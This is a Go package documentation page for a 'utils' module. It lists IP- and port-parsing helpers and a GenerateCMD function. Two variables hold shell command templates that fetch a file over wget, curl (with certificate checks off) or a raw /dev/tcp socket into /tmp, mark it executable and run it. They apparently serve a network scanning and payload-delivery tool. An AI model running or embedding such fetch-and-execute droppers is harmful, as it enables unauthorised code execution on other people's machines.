utils

package
v0.0.6 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Nov 10, 2022 License: MIT Imports: 13 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	UnixDownloader = "wget --no-check-certificate %s -O /tmp/%s || curl -k %s -o /tmp/%s && chmod +x /tmp/%s && /tmp/%s"
	TCPDownloader  = "exec 88<>/dev/tcp/%s && printf \"%s\\n\" >&88 && cat <&88 > /tmp/%s && chmod +x /tmp/%s && /tmp/%s"
	WinDownloader  = "" /* 250-byte string literal not displayed */
)
View Source
var ParseIPErr = errors.New(" host parsing error\n" +
	"format: \n" +
	"192.168.1.1\n" +
	"192.168.1.1/8\n" +
	"192.168.1.1/16\n" +
	"192.168.1.1/24\n" +
	"192.168.1.1,192.168.1.2\n" +
	"192.168.1.1-192.168.255.255\n" +
	"192.168.1.1-255")

Functions

func GenerateCMD

func GenerateCMD(cmdtype string, loader common.Downloader) (cmd string)

func IPRange

func IPRange(c *net.IPNet) string

获取起始IP、结束IP

func IsContain

func IsContain(items []string, item string) bool

func ParseIP

func ParseIP(host, filename, noscan string) (hosts []string, err error)

func ParseIPs

func ParseIPs(ip string) (hosts []string)

func ParsePort

func ParsePort(ports string) (scanPorts []int)

func RandString

func RandString(n int) string

func Readipfile

func Readipfile(filename string) ([]string, error)

按行读ip

func RemoveDuplicate

func RemoveDuplicate(old []string) []string

去重

Types

This section is empty.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL